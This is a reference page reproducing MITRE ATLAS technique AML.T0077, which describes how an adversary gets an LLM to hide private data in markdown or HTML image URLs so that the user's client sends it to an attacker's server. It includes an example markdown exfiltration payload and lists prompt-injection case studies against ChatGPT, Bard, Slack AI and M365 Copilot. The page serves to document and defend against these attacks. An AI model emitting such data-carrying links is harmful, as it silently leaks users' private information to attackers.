AML.T0077
LLM Response Rendering

MITRE source definition

Adversaries may induce a large language model (LLM) to respond with private information structured in a reference to external content that, when rendered by the user's client, makes a request to an adversary-controlled server, exfiltrating the data. The private information can be hidden from the user and the external content can still render properly in the user's client, thus not raising the suspicion of the user.

Rendered content can include images, embedded webpages, or link previews and may use HTML, Markdown, or other rendering mechanisms. The private information can be hidden in parts of the URL pointing to an adversary-controlled server, including query parameters or URL path segments, and may be split across multiple requests. Markdown or HTML image tags may automatically render directly in the user's AI chat client. Integrations into applications such as Slack or Microsoft Teams may render external content automatically without requiring the user to take any action.

As an example, the adversary may manipulate the LLM to produce the following markdown: ``` ![ATLAS](https://atlas.mitre.org/image.png?secrets="private data") ```

Which is rendered by the client as: ``` <img src="https://atlas.mitre.org/image.png?secrets="private data"> ```

When the request is received by the adversary's server hosting the requested image, they receive the contents of the `secrets` query parameter.

Source modified 2026-09-15. Reproduced from the pinned ATLAS release; inline technique links resolve to local reference pages.

Parent, sub-techniques and ATT&CK references

No explicit relationship in this pinned source.

Source-backed defensive context

MITRE mitigations

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MITRE case studies

• AML.CS0021 ChatGPT Conversation Exfiltration · Exercise
• AML.CS0029 Google Bard Conversation Exfiltration · Exercise
• AML.CS0035 Data Exfiltration from Slack AI via Indirect Prompt Injection · Exercise
• AML.CS0059 EchoLeak: Zero-Click Prompt Injection Targeting M365 Copilot for Data Exfiltration · Exercise
• AML.CS0060 Cross-Site Scripting via Prompt Manipulation in Lenovo AI Chatbot · Exercise

These are explicit source relationships, not independently reproduced incidents or validated detection coverage.

Simulation and telemetry boundary

This is a technique reference page, not a runnable simulation. No ATLAS-specific telemetry mapping, local attack execution or detector validation is asserted. MITRE maturity describes its source evidence, not a 1200km lab result.

For broader context—not technique-specific control mappings—see AI Security, AI Security Course, and detection-validation methodology.

Provenance and attribution

Immutable MITRE ATLAS source · Import provenance · Attribution and transformation notice · Apache License 2.0

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